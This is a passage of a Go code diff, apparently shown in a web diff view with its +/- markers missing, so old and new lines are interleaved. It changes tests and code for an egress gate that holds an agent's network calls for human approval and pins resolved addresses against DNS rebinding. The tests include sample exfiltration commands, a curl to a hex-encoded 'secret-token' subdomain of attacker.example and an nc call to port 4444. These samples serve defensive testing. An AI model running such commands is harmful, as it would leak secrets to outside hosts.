if req.Host != "app.example.com" || req.Port != 443 || req.Kind != TargetDomain || req.Reason != "no_pin" || req.Pin != nil ||
!slices.Equal(req.ResolvedIPs, []string{"203.0.113.7"}) || req.Resolver != "fake" || req.ResolvedAt.IsZero() {
t.Fatalf("first request = %+v", req)
len(req.ResolvedIPs) != 0 || req.Resolver != "" || !req.ResolvedAt.IsZero() || g.res.total() != 0 {
t.Fatalf("first request = %+v after %d lookups, want the name only and no lookup", req, g.res.total())
}
// A request alone pins nothing: the next call asks again.
g.requests("still no pin", g.fetch(appURL))
// Approved: version 1, and the call passes.
if pin := g.store.approve(req); pin.Version != 1 {
t.Fatalf("pin = %+v, want version 1", pin)
// Approved: version 1 holds what the name resolved to then, and the call passes.
if pin := g.store.approve(req); pin.Version != 1 || !slices.Equal(pin.PinnedIPs, []string{"203.0.113.7"}) {
t.Fatalf("pin = %+v, want version 1 with 203.0.113.7", pin)
}
g.passes("pinned", g.fetch(appURL))
@@ -368,11 +381,17 @@ func TestSubset(t *testing.T) {
}
}
// A name that does not resolve blocks the call, pinned or not, and opens no
// request: there is no address to show, and nothing an approval could pin.
// A name the gate resolves (one a pin, a grant or a stored exemption names)
// that does not resolve blocks the call and opens no request: there is no
// address to show, and nothing an approval could pin. A name nothing approved
// is not resolved at all: it is requested by name.
func TestResolveFailureBlocksWithoutRequest(t *testing.T) {
g := newGate(t)
g.res.errs["app.example.com"] = errors.New("no such host")
if req := g.requests("unapproved name", g.fetch(appURL)); len(req.ResolvedIPs) != 0 || g.res.total() != 0 {
t.Fatalf("request = %+v after %d lookups, want the name only", req, g.res.total())
}
g.pin("app.example.com", 8443, "203.0.113.7")
res := g.blocked("lookup error", TargetResolveFailed, g.fetch(appURL))
if res.Host != "app.example.com" || res.Port != 443 || !strings.Contains(res.Reason, "could not resolve app.example.com (no such host)") {
t.Fatalf("result = %+v", res)
@@ -385,7 +404,7 @@ func TestResolveFailureBlocksWithoutRequest(t *testing.T) {
t.Fatalf("empty answer: reason = %q", res.Reason)
}
// With a pin the failure still blocks, and the text names the pin.
// With a pin on the port the failure still blocks, and the text names the pin.
g.res.set("app.example.com", "203.0.113.7")
g.store.approve(g.requests("resolves again", g.fetch(appURL)))
g.passes("pinned", g.fetch(appURL))
@@ -405,12 +424,17 @@ func TestResolveFailureBlocksWithoutRequest(t *testing.T) {
row.Audit.ExecutionStatus != "not_executed" || row.ToolName != "WebFetch" || row.Scope.TaskID != 7 {
t.Fatalf("logged row = %+v audit=%+v", row, row.Audit)
}
// A request without an address is refused before any row is written (the
// interceptor has no database: a write would panic).
out := g.ic.RequestTargets(context.Background(), g.scope, "WebFetch", []byte(`{"url":"`+appURL+`"}`),
[]TargetRequest{{Host: "app.example.com", Port: 443, Kind: TargetDomain, Reason: "no_pin"}}, nil)
if out.Code != TargetResolveFailed || out.PendingID != 0 {
t.Fatalf("request without an address: %+v, want %s and no row", out, TargetResolveFailed)
// A request without an address, other than a name requested by name, is
// refused before any row is written (the interceptor has no database: a
// write would panic).
for _, r := range []TargetRequest{
{Host: "app.example.com", Port: 443, Kind: TargetDomain, Reason: "new_ip", Pin: g.store.active("app.example.com", 443)},
{Host: "198.51.100.9", Port: 443, Kind: TargetIP, Reason: "no_pin"},
} {
out := g.ic.RequestTargets(context.Background(), g.scope, "WebFetch", []byte(`{"url":"`+appURL+`"}`), []TargetRequest{r}, nil)
if out.Code != TargetResolveFailed || out.PendingID != 0 {
t.Fatalf("request without an address %+v: %+v, want %s and no row", r, out, TargetResolveFailed)
}
}
}
@@ -702,7 +726,7 @@ func TestTooManyTargetsBlocked(t *testing.T) {
// What the gate cannot read, it does not allow.
func TestStoreFailureBlocks(t *testing.T) {
for _, method := range []string{"BlockRules", "Exemptions", "ActivePins"} {
for _, method := range []string{"BlockRules", "Exemptions", "ScopePins"} {
g := newGate(t)
g.res.set("app.example.com", "203.0.113.7")
g.store.fail[method] = errors.New("connection refused")
@@ -1049,6 +1073,7 @@ func TestSystemResolverAndLimits(t *testing.T) {
// A resolver that does not answer is cut off after the timeout, whatever the
// caller's own deadline, and the failure says so.
g := newGate(t)
g.pin("app.example.com", 443, "203.0.113.7") // a name the gate resolves
g.res.hold = make(chan struct{})
defer close(g.res.hold)
start := time.Now()
+1
View File
@@ -143,6 +143,7 @@ func TestRenderedTargetUsesTheGateDecision(t *testing.T) {
}
}
g.pin("down.example", 443, "203.0.113.20") // a name the gate resolves
g.res.errs["down.example"] = context.DeadlineExceeded
if res := GateRenderedURL(g.ctx(), "probe", "https://down.example/"); res.Code != TargetResolveFailed || res.Host != "down.example" {
t.Fatalf("unresolvable: %+v", res)
+12 -5
View File
@@ -121,9 +121,11 @@ func (i *Interceptor) RequestTargets(ctx context.Context, scope TargetScope, too
return TargetResult{Code: TargetGateUnavailable, Reason: err.Error()}
}
// An approval pins the addresses the request displays, so a request without
// any is never opened: approving it would pin nothing.
// any is never opened: approving it would pin nothing. The one exception is
// a name nothing approved, which the check does not resolve: it is requested
// by name, and Decide resolves it once a human approved it.
for _, t := range targets {
if len(t.ResolvedIPs) == 0 {
if len(t.ResolvedIPs) == 0 && (t.Kind != TargetDomain || t.Pin != nil) {
return TargetResult{Code: TargetResolveFailed, Host: t.Host, Port: t.Port,
Reason: "no address was resolved for " + targetName(t) + ", and an approval never pins an empty address list"}
}
@@ -473,13 +475,18 @@ func targetReason(scope TargetScope, t TargetRequest, ask *Decision, nameOnly bo
name += " (port not declared: every port)"
}
ips := strings.Join(t.ResolvedIPs, ", ")
if t.Pin != nil {
switch {
case t.Pin != nil:
fmt.Fprintf(&b, "Target %s is pinned for %s (pin v%d: %s) and now resolves to %s (resolver: %s).",
name, bound, t.Pin.Version, strings.Join(t.Pin.PinnedIPs, ", "), ips, t.Resolver)
} else {
fmt.Fprintf(&b, " Approving pins these addresses for %s until revoked.", bound)
case len(t.ResolvedIPs) == 0:
fmt.Fprintf(&b, "Target %s is not approved for %s. The platform has not resolved it: a name nothing approved is not looked up.", name, bound)
fmt.Fprintf(&b, " Approving resolves the name once and pins the addresses it answers then for %s until revoked.", bound)
default:
fmt.Fprintf(&b, "Target %s is not approved for %s. It resolves to %s (resolver: %s).", name, bound, ips, t.Resolver)
fmt.Fprintf(&b, " Approving pins these addresses for %s until revoked.", bound)
}
fmt.Fprintf(&b, " Approving pins these addresses for %s until revoked.", bound)
if nameOnly {
b.WriteString(" Egress goes through the upstream proxy, which chooses the address it connects to." +
" The addresses listed are what the platform resolved. This approval is name-only." +
+351
View File
@@ -0,0 +1,351 @@
package intercept
import (
"context"
"encoding/json"
"errors"
"fmt"
"slices"
"strings"
"testing"
"time"
"github.com/Autumn-27/artex/db"
)
func bashCall(cmd string) string {
b, _ := json.Marshal(map[string]string{"command": cmd})
return string(b)
}
// A name that no block rule, exemption, grant or pin names is never looked up:
// the lookup would leave the panel through its resolver, so the labels of the
// name would reach the name server of the domain. It is requested by name.
func TestUnapprovedNameIsNotResolved(t *testing.T) {
g := newGate(t)
exfil := "7365637265742d746f6b656e.x.attacker.example"
g.res.set(exfil, "203.0.113.66")
for name, v := range map[string]verdict{
"Bash": g.check("Bash", bashCall("curl -s http://"+exfil+"/ || true")),
"WebFetch": g.fetch("https://" + exfil + "/"),
"host:port": g.check("Bash", bashCall("nc "+exfil+":4444")),
} {
req := g.requests(name, v)
if req.Host != exfil || req.Kind != TargetDomain || req.Reason != "no_pin" || len(req.ResolvedIPs) != 0 || req.Resolver != "" {
t.Fatalf("%s: request = %+v, want the name only", name, req)
}
}
if n := g.res.lookups(exfil); n != 0 {
t.Fatalf("%d lookups of %s, want none", n, exfil)
}
// The card says the name was not resolved, and what an approval does.
reason := targetReason(g.scope, TargetRequest{Host: exfil, Port: 80, Kind: TargetDomain}, nil, false)
if !strings.Contains(reason, "has not resolved it") || !strings.Contains(reason, "Approving resolves the name once") {
t.Fatalf("reason = %q", reason)
}
}
// The cap on targets to request applies before any lookup: a call that names
// more new names than one call may request resolves nothing, and reads the
// store a fixed number of times, whatever the number of names.
func TestTargetCapAppliesBeforeAnyLookup(t *testing.T) {
g := newGate(t)
const n = 400
var parts []string
for i := 0; i < n; i++ {
h := fmt.Sprintf("h%d.attacker.example", i)
g.res.set(h, "203.0.113.9")
parts = append(parts, h+":80")
}
g.blocked("400 names", TargetTooMany, g.check("Bash", bashCall("echo "+strings.Join(parts, " "))))
// BlockRules, Exemptions, EgressGrants and ScopePins, once each.
if g.res.total() != 0 || g.store.reads != 4 {
t.Fatalf("%d lookups and %d store reads, want none and 4", g.res.total(), g.store.reads)
}
// A pinned name in the same call is not resolved either once the cap is hit.
g = newGate(t)
g.res.set("app.example.com", "203.0.113.7")
g.pin("app.example.com", 443, "203.0.113.7")
cmd := "curl https://app.example.com/"
for i := 0; i <= maxUnpinnedTargets; i++ {
cmd += fmt.Sprintf(" https://n%d.attacker.example/", i)
}
g.blocked("six new names and a pinned one", TargetTooMany, g.check("Bash", bashCall(cmd)))
if g.res.total() != 0 {
t.Fatalf("%d lookups, want none", g.res.total())
}
}
// The pins of the scope are read once per call, not once per target.
func TestPinsReadOncePerCall(t *testing.T) {
g := newGate(t)
cmd := "curl"
for i := 0; i < 8; i++ {
h := fmt.Sprintf("app%d.example.com", i)
g.res.set(h, "203.0.113.7")
g.pin(h, 443, "203.0.113.7")
cmd += " https://" + h + "/"
}
g.passes("eight pinned names", g.check("Bash", bashCall(cmd)))
if g.store.reads != 4 {
t.Fatalf("%d store reads, want 4 (rules, exemptions, grants, pins)", g.store.reads)
}
}
// A name something approved is still resolved and compared: a pin (on any port
// of the name), a grant and a stored exemption. A pinned name that answers
// another address asks again with the fresh answer, and the address block
// rules apply to every name that is resolved.
func TestApprovedNamesStillResolveAndCompare(t *testing.T) {
g := newGate(t)
g.res.set("app.example.com", "203.0.113.7")
g.pin("app.example.com", 443, "203.0.113.7")
g.passes("pinned", g.fetch(appURL))
if g.res.lookups("app.example.com") != 1 {
t.Fatalf("%d lookups, want 1", g.res.lookups("app.example.com"))
}
// Rebinding: the name now answers another address.
g.res.set("app.example.com", "10.0.0.5")
g.expire()
req := g.requests("rebound", g.fetch(appURL))
if req.Reason != "new_ip" || !slices.Equal(req.ResolvedIPs, []string{"10.0.0.5"}) || req.Pin == nil {
t.Fatalf("request = %+v, want new_ip with the fresh answer", req)
}
g.store.rules = []db.AssetInterceptRule{{Enabled: true, Kind: "exact_ip", Pattern: "10.0.0.5"}}
g.blocked("rebound to a blocked address", TargetRuleBlocked, g.fetch(appURL))
g.store.rules = nil
// A pin on another port of the name: the name is resolved, and the
// request for the new port shows its addresses.
req = g.requests("other port", g.fetch("https://app.example.com:8443/"))
if req.Reason != "no_pin" || !slices.Equal(req.ResolvedIPs, []string{"10.0.0.5"}) {
t.Fatalf("request = %+v, want the addresses of the name", req)
}
// A granted name is resolved, and an address block rule applies to it.
g.store.grants = []db.ScopeEgress{{Kind: "domain", Value: "lab.test"}}
g.res.set("app.lab.test", "198.51.100.20")
g.passes("granted", g.fetch("https://app.lab.test/"))
g.store.rules = []db.AssetInterceptRule{{Enabled: true, Kind: "exact_ip", Pattern: "198.51.100.20"}}
g.blocked("granted, blocked address", TargetRuleBlocked, g.fetch("https://app.lab.test/"))
g.store.rules = nil
// A stored exemption is resolved: a private answer voids it.
g.store.exempt = []db.TargetExemption{{Host: "pypi.org", Port: 443}}
g.res.set("pypi.org", "151.101.0.223")
g.passes("exempt", g.fetch("https://pypi.org/simple/"))
g.res.set("pypi.org", "10.0.0.9")
g.expire()
if req := g.requests("void exemption", g.fetch("https://pypi.org/simple/")); !req.ExemptVoid || !slices.Equal(req.ResolvedIPs, []string{"10.0.0.9"}) {
t.Fatalf("request = %+v, want a void exemption with the address", req)
}
}
// Approving a request raised by name resolves the name then, pins what it
// answers, and the waiting call passes. A later answer outside the pin is
// asked again at the next check and refused at the dial. A name that does not
// resolve on approval is refused, and the request stays open.
func TestApprovingNameRequestPinsResolvedAddresses(t *testing.T) {
d := targetTestDB(t)
ic := New(d)
res := newFakeResolver()
ic.SetResolver(res)
rec := newDialRecorder()
ic.SetBaseDialer(rec.dial)
scope := taskScope(t, d, ic, time.Minute)
ctx := WithTargetScope(context.Background(), scope)
res.set("fresh.example.com", "203.0.113.7")
input := []byte(`{"url":"https://fresh.example.com/"}`)
reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", input)
if out.Code != "" || len(reqs) != 1 || len(reqs[0].ResolvedIPs) != 0 || res.total() != 0 {
t.Fatalf("check: %+v %+v after %d lookups, want one request by name and no lookup", reqs, out, res.total())
}
waiting := make(chan TargetResult, 1)
go func() { waiting <- ic.RequestTargets(ctx, scope, "WebFetch", input, reqs, nil) }()
id := oneOpenRow(t, d, scope)
shown, err := d.GetInterceptDetail(id)
if err != nil || shown == nil || len(shown.Audit.Targets) != 1 || len(shown.Audit.Targets[0].ResolvedIPs) != 0 ||
!strings.Contains(shown.Reason, "has not resolved it") {
t.Fatalf("displayed request = %+v, %v; want the name only", shown, err)
}
if res.total() != 0 {
t.Fatalf("%d lookups before the approval, want none", res.total())
}
if err := ic.Decide(id, true, "ARTEX", "198.51.100.9"); err != nil {
t.Fatal(err)
}
if got := result(t, waiting); got.Code != "" {
t.Fatalf("waiting call: %+v", got)
}
got := pins(t, d, scope)
if len(got) != 1 || !slices.Equal(got[0].PinnedIPs, []string{"203.0.113.7"}) || got[0].Resolver != "fake" {
t.Fatalf("pins = %+v, want the address resolved on approval", got)
}
if res.lookups("fresh.example.com") != 1 {
t.Fatalf("%d lookups, want one on approval", res.lookups("fresh.example.com"))
}
decided, _ := d.GetInterceptDetail(id)
if decided == nil || !slices.Equal(decided.Audit.Targets[0].ResolvedIPs, []string{"203.0.113.7"}) || decided.Audit.Targets[0].Outcome != "pinned" {
t.Fatalf("decided row = %+v", decided)
}
if reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", input); out.Code != "" || len(reqs) != 0 {
t.Fatalf("after the approval: %+v %+v, want the call to pass", reqs, out)
}
// Rebinding: the name now answers a private address. The dial resolves
// afresh, finds it outside the pin, and connects nowhere.
res.set("fresh.example.com", "10.0.0.5")
_, err = PinnedDialer("WebFetch", true)(ctx, "tcp", "fresh.example.com:443")
if code, ok := IsTargetBlocked(err); !ok || code != TargetApprovalPending {
t.Fatalf("rebound dial: %v, want %s", err, TargetApprovalPending)
}
if calls := rec.calls(); len(calls) != 0 {
t.Fatalf("dialled %v, want nothing", calls)
}
// A name that does not resolve on approval: refused, the row stays open.
res.errs["gone.example.com"] = errors.New("no such host")
gone := []byte(`{"url":"https://gone.example.com/"}`)
reqs, out = ic.CheckTargets(ctx, scope, "WebFetch", gone)
if out.Code != "" || len(reqs) != 1 {
t.Fatalf("check: %+v %+v, want one request by name", reqs, out)
}
noWait := scope
noWait.WaitBound = 0
r := ic.RequestTargets(ctx, noWait, "WebFetch", gone, reqs, nil)
if r.Code != TargetApprovalPending || r.PendingID == 0 {
t.Fatalf("request: %+v", r)
}
pendingID := r.PendingID
if err := ic.Decide(pendingID, true, "ARTEX", "198.51.100.9"); !errors.Is(err, db.ErrTargetPinEmpty) {
t.Fatalf("approving an unresolvable name: %v, want %v", err, db.ErrTargetPinEmpty)
}
if row, err := d.GetInterceptPending(pendingID); err != nil || row == nil || row.Status != "pending" {
t.Fatalf("row after the refused approval = %+v, %v; want it still pending", row, err)
}
}
// A name approved by name meets the asset block rules on the addresses it
// resolves to on approval, before anything is pinned. One blocked address (here
// inside a blocked range, next to a clean one) refuses the whole approval: no
// pin, the request closed as denied by the system, the waiting call refused,
// and no dial reaches the address. A clean name pins and dials as before, and
// a pinned name that later answers a blocked address is refused at the check
// and at the dial.
func TestApprovedNameResolvingToBlockedAddressIsNotPinned(t *testing.T) {
d := targetTestDB(t)
ic := New(d)
res := newFakeResolver()
ic.SetResolver(res)
rec := newDialRecorder()
ic.SetBaseDialer(rec.dial)
clock := time.Now()
ic.resolve.now = func() time.Time { return clock }
scope := taskScope(t, d, ic, time.Minute)
ref := scope.dbRef(t)
if _, err := d.Assets().CreateTaskInterceptRule(ref.TaskID, "block", "cidr", "10.0.0.0/8", "target gate test", true); err != nil {
t.Fatal(err)
}
ctx := WithTargetScope(context.Background(), scope)
srv, hits, port := pinnedServer(t, "reached")
for _, ip := range []string{"10.0.0.5", "203.0.113.7", "203.0.113.8"} {
rec.route(ip+":"+port, srv.Listener.Addr().String())
}
rec.route("blocked.example.com:"+port, srv.Listener.Addr().String())
approve := func(host string) (TargetResult, error) {
t.Helper()
input := fetchInput("http://" + host + ":" + port + "/")
reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", input)
if out.Code != "" || len(reqs) != 1 || len(reqs[0].ResolvedIPs) != 0 {
t.Fatalf("%s: check %+v %+v, want one request by name", host, reqs, out)
}
waiting := make(chan TargetResult, 1)
go func() { waiting <- ic.RequestTargets(ctx, scope, "WebFetch", input, reqs, nil) }()
var id int64
eventually(t, "the request of "+host, func() bool {
for _, open := range openRows(t, d, scope) {
if row, _ := d.GetInterceptDetail(open); row != nil && row.Audit.Targets[0].Host == host {
id = open
return true
}
}
return false
})
err := ic.Decide(id, true, "ARTEX", "192.0.2.1")
return result(t, waiting), err
}
pinsOf := func(host string) []*db.TargetPin {
t.Helper()
var out []*db.TargetPin
for _, p := range pins(t, d, scope) {
if p.Host == host {
out = append(out, p)
}
}
return out
}
// A name that answers a clean and a blocked address.
res.set("blocked.example.com", "203.0.113.7", "10.0.0.5")
waited, err := approve("blocked.example.com")
if !errors.Is(err, ErrTargetAddressBlocked) || !errors.Is(err, ErrAlreadyDecided) {
t.Fatalf("approving a name that answers a blocked address: %v, want %v", err, ErrTargetAddressBlocked)
}
if p := pinsOf("blocked.example.com"); len(p) != 0 {
t.Fatalf("pins = %+v, want none", p)
}
if waited.Code != TargetDenied {
t.Fatalf("waiting call: %+v, want %s", waited, TargetDenied)
}
for _, open := range openRows(t, d, scope) {
if row, _ := d.GetInterceptDetail(open); row != nil && row.Audit.Targets[0].Host == "blocked.example.com" {
t.Fatalf("request %d is still open", open)
}
}
// No other path reaches it: the next check asks by name again, and the
// dial, with no pin, opens a request and connects nowhere.
if reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", fetchInput("http://blocked.example.com:"+port+"/")); out.Code != "" || len(reqs) != 1 || len(reqs[0].ResolvedIPs) != 0 {
t.Fatalf("after the refusal: %+v %+v, want a request by name", reqs, out)
}
if _, err := PinnedDialer("WebFetch", true)(ctx, "tcp", "blocked.example.com:"+port); err == nil {
t.Fatal("the dial of the refused name was opened")
}
if got := rec.calls(); len(got) != 0 || hits.Load() != 0 {
t.Fatalf("dialled %v, %d hits; want nothing", got, hits.Load())
}
// Control: a clean name pins what it answered and dials only that.
res.set("clean.example.com", "203.0.113.8")
if waited, err := approve("clean.example.com"); err != nil || waited.Code != "" {
t.Fatalf("clean name: %+v, %v", waited, err)
}
if p := pinsOf("clean.example.com"); len(p) != 1 || !slices.Equal(p[0].PinnedIPs, []string{"203.0.113.8"}) {
t.Fatalf("clean pins = %+v", p)
}
conn, err := PinnedDialer("WebFetch", true)(ctx, "tcp", "clean.example.com:"+port)
if err != nil {
t.Fatalf("clean dial: %v", err)
}
conn.Close()
if got := rec.calls(); !slices.Equal(got, []string{"203.0.113.8:" + port}) {
t.Fatalf("dialled %v, want the pinned address", got)
}
// The clean name later answers a blocked address: the check, once the
// cached answer runs out, and the dial, with a fresh lookup, both refuse.
res.set("clean.example.com", "10.0.0.5")
clock = clock.Add(resolveCacheTTL + time.Second)
if _, out := ic.CheckTargets(ctx, scope, "WebFetch", fetchInput("http://clean.example.com:"+port+"/")); out.Code != TargetRuleBlocked {
t.Fatalf("check after the rebind: %+v, want %s", out, TargetRuleBlocked)
}
_, err = PinnedDialer("WebFetch", true)(ctx, "tcp", "clean.example.com:"+port)
if code, ok := IsTargetBlocked(err); !ok || code != TargetRuleBlocked {
t.Fatalf("dial after the rebind: %v, want %s", err, TargetRuleBlocked)
}
if got := rec.calls(); len(got) != 1 || hits.Load() != 0 {
t.Fatalf("dialled %v, %d requests; want only the clean dial", got, hits.Load())
}
}
+4 -2
View File
@@ -561,8 +561,10 @@ func TestDenyRuleWinsBeforeRenderedTarget(t *testing.T) {
if code, body := g.do(t, "POST", fmt.Sprintf("/api/intercept/pending/%d/decide", id), `{"decision":"denied"}`); code != 200 {
t.Fatalf("deny: %d %v", code, body)
}
if r := p.next(t); !strings.Contains(r, "TARGET_DENIED") || hits.Load() != 0 || res.lookups() == 0 {
t.Fatalf("rendered target: %q, %d requests sent, %d lookups", r, hits.Load(), res.lookups())
// The rendered name is approved by nothing: it is requested by name and
// denied without ever being looked up.
if r := p.next(t); !strings.Contains(r, "TARGET_DENIED") || hits.Load() != 0 || res.lookups() != 0 {
t.Fatalf("rendered target: %q, %d requests sent, %d lookups; want no lookup", r, hits.Load(), res.lookups())
}
select {
case <-done: